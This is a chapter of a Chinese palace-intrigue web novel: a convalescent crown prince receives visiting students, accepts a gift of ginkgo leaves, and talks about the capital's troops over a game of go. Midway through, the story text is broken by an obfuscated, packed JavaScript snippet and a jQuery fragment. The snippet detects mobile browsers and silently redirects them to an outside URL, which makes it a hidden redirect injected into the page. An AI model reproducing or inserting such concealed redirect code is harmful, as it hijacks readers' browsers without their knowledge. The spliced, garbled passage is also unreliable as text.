风启萍在围场受伤被送回宫时,气虚无力,面色煞白,惊动了整个太医院。那几日,御医几乎集体住在了昭阳殿,每个时辰都有医官来探额、把脉,仔细留意着风启萍的身体情况。药方也有专人负责,每日按时用着。
休养到现在,风启萍已无大碍。趁着太傅短暂外出,他带了鸟笼在外面晒会儿太阳。
满院金黄,少年斜倚在玉栏上,用指节逗弄象牙剔花鸟笼里的一只翠羽椋鸟。
由于太傅管得严,昭阳殿平日能耍乐的玩意不多,这只椋鸟是不久前宫里雀坊送来的,说是鸟鸣婉转,有利于纾解风启萍病中郁结,太傅便特许留下。
雀使确实废了不少心力养这只鸟儿,羽毛油光水滑,在太阳下翻转着深深浅浅的青色流光,吃鸟食的时候也是挑挑拣拣,只啄了几口便跳到笼缘和风启萍嬉玩,此刻正用喙啄着鸟笼门闩,发出清脆的哐哐声。
风启萍逗弄许久,总不得趣。
忽地,他抬了抬手指,打开笼子的小门,那只椋鸟只一溜烟的功夫,就扑着翅膀飞了出去,几个扫落叶的宫女见了忙扔下扫帚去追。
风启萍坐在原处,紧盯着那只飞脱的鸟儿,没有半分要去追回来的意思。真是奇怪,他明明很喜欢这只椋鸟的。
“殿下,陆大人和立雪堂的学生到了。”一个小太监跪在地下,通传消息。
风启萍的脸上的表情有了点变化:“真的?快带进来。”
***
围场遇刺后,风启萍本该静养。只是上书房的人趁着顺路来探望过一次,后来冠军堂的人趁入宫给禁军作汇演时也来了一趟,立雪堂不派代表来反而显得礼数不周了,于是特报东宫詹事府,禀奏宸帝,在十五这日入宫探望。
齐守希受的伤没有风启萍重,身子好得比风启萍要快些,今日也来了。
昭阳殿的陈设布局是极好的。
入殿前是一个广阔的庭院,活水池、浮金鲤、亭台水榭一应俱全,还有一株高大出墙的花树,深秋时分,花叶渐落,若逢春日,绯色接天应该是很壮观的。
陆鸣、陆琳、陆琅、以及立雪堂的其余的一众学生,前来拜谒风启萍。
陆相瑶也跟了来,特意打扮过,着一身暗花软毛宫装,缓步跟在陆鸣身后,时而垂眸望着怀里一盆金灿灿的银杏,对东宫里的景色并无兴趣。
来探望的代表学生不过十几人,苏翡跟在人群里,仔细观察从未来过的内宫,细看来,宫内和宫外倒没什么区别,不过侍奉的人多些,围墙高些。
侯珠低声和苏翡聊着脚下的白玉长桥以及池里铺着的波斯国琉璃,齐守希在一旁听着,偶尔提醒苏翡留心脚下绊石。
风启萍在西堂接见了大家,遥遥坐在朱漆桌案前,偶尔喝一口宫人换的茶。
太子府詹事伫立一侧,陆鸣和风启萍一通寒暄,长篇大论各种真心发愿太子早日安康的话,苏翡强撑眼皮,听的要睡过去,齐守希在一旁,也侧过头去偷偷打了几个动作不算太大的呵欠。
探病的学生带来了许多拜礼,古蜀桂花酿、暗纹白玉瓶,都是些名贵非常的物件。
众人用茶间隙,风启萍目光无意扫过堆在一角的礼品,注意到中间立着一个瓷罐,中间插满金黄的银杏,十分惹眼。
他扭头对着一旁的宫人道:“银杏是花房送来的?今年倒新奇。怎么就随意置在地上了,快找个合适的地方摆好。”
一旁的管事宫女回道:“禀殿下,银杏并非宫内花房送来的,而是诸位小姐公子拜礼之一,奴婢等先将其和别的拜礼都放在一处,等清点入库才能再做处置。”
风启萍转过头去,重新打量那盆银杏,道:“噢?是谁送来的?”
方才答话的宫女已经重新站回了一旁,照着手上的单子,答道:“大理寺卿、汀国公、金紫光禄大夫,陆鸣大人,拜赠逐灵寺梅核金杏叶,一盆。”
陆鸣在一旁轻轻吹着茶。
风启萍往陆琳和陆琅的方向望去,见到藏在他们中间的一张略眼熟的、明艳动人的脸。
陆相瑶从陆琳和陆琅中间缓步走出来。
“我认得你,你是陆大人的女儿。”风启萍和陆相瑶在秋猎时遥遥望见过。
陆相瑶跪在地上,低头问安:“臣女拜见太子殿下,恭请殿下圣安。听闻殿下受伤,一月未愈,臣女忧思国本圣躯,特随家父兄弟前来拜见。”
地板冰凉,风启萍不好让陆相瑶一直跪着。
他道:“有心了,起身吧。”
陆相瑶缓缓站起,虽站着,却仍躬身低头,接着说道:“古云,江南无所有,聊赠一枝春。臣女昨日在逐灵寺为殿下祈福,见金杏灿灿,景色壮观,又想到殿下自病以来,常困床榻,难免心中闷郁,便裁下了几支银杏,今日奉上,以便殿下从中窥得几分秋日风光,聊以慰藉。”
“多谢你,银杏我很喜欢,这银杏叶虽不及名酿瓷器珍贵,但用意颇深,难为你一片孤心。”风启萍确实很久没有出过昭阳殿了。
陆相瑶抬起头来,继续答话:“太子殿下的库房里堆满了各色佳酿、玉瓶瓷具,只需一声令下,内宫就能日日变着花样给殿下送来,可殿下久在床褥,想要下床尚且费力,出门登高赏红更是不行,臣女愚钝,对于殿下说来,现在是名酒瓷器珍贵,还是墙外光景珍贵?”
陆鸣放下茶杯,应声道:“瑶瑶,不得无礼。”
陆相瑶又跪下了。
风启萍并不生气,免了陆相瑶的跪,笑道:“巧言善辩,起来吧。”
说完,转头吩咐方才的宫女:“取描金花钿两副,送到陆府。”算是礼尚往来。
陆相瑶再行叩礼谢赏。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386919|184199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆鸣夫人的姐姐是当今皇后,陆相瑶相貌品行俱佳,又通诗书,陆鸣今日特意把她带来昭阳殿,是要她做太子内宫的人。
主动攀交,陆相瑶确实没带几分真心,不过是完成任务似的让风启萍记住自己,风启萍名义上虽是她的表哥,但在这之前,陆相瑶和风启萍连话都没说过半句。
她知道陆鸣的意思和谋划,她从小没有抗拒过家里的任何安排。
之后太傅带着陆鸣和立雪堂的一众学生在东宫游览了一圈,秋高气爽,花草房布置下的金菊花海惹得学生们叹声连连,风启萍缓步跟在太傅旁边,无垠蓝天映得他的眸子透亮,身后齐守希和陆相瑶的偶尔低语被他的耳朵抓了去。
阳光明媚,欢声笑语,怎么看都是该开怀的场合。
在庭院里走了一会儿后,风启萍便不打算再逛,以病体尚虚为由禀了太傅,打算回内殿。
他朝齐守希伸出手:“守希,搀我回去吧。”
齐守希微微一愣,那么多太监宫女围在一侧,风启萍偏偏差了自己。
见齐守希没有反应,风启萍径直伸出了手,带他出了内苑。
昭阳宫,寝殿。
一进门,风启萍就命一旁的掌事太监道:“把我的冷暖玉棋子拿出来。”,然后转头和齐守希说:“这是去岁日本国的使臣送来的,我躺了大半月,就盼着谁来和我玩玩呢。”
等宫人把棋子捧上,齐守希拿了数颗握在手里,果然,触手生温。
“你的伤势如何了?”风启萍饮了口茶,问道。
齐守希回答:“还不能大动,但正常读书起居已经不耽误了。”
棋局上,两人对坐,风启萍手里把玩着玉棋,尚未落子,他提起另一件事:“皇城里,金鳞军拢共两万人,其中拨作执金吾的是五千人。”
金鳞军是昱王手下的军队,执金吾负责京城治安巡逻,上京城紫微宫外的兵力全在昱王掌控之下。
齐守希不知道风启萍为什么突然提起这个,只回道:“不错,两万兵力不算多,但昱王布兵得当,全数拱卫在京师要害位置。”
风启萍望着棋盘,落下一子:“是不算多,但两万重兵盘桓京畿,真要闹起来,也不可谓不麻烦。”
齐守希望向风启萍,不懂他话里的意思。
风启萍转了话锋,抬首问道:“围场刺杀一事,你怎么看?”
风启萍的话题接二连三来得古怪,齐守希却只顺着回答:“或是图勒动乱,京中已经加强了巡兵布防,严查在上京的图勒人行踪。同时,昱王殿下也因防卫疏忽,自请降罪,手底下跟了他近十年的两名金鳞军要将各受军法十棍,诏令谪离京城,昨日已启程了。”
风启萍一笑:“我知道,两名将军请罪的折子还是我批的。”他抬首,“说些你心里,我不知道的想法。”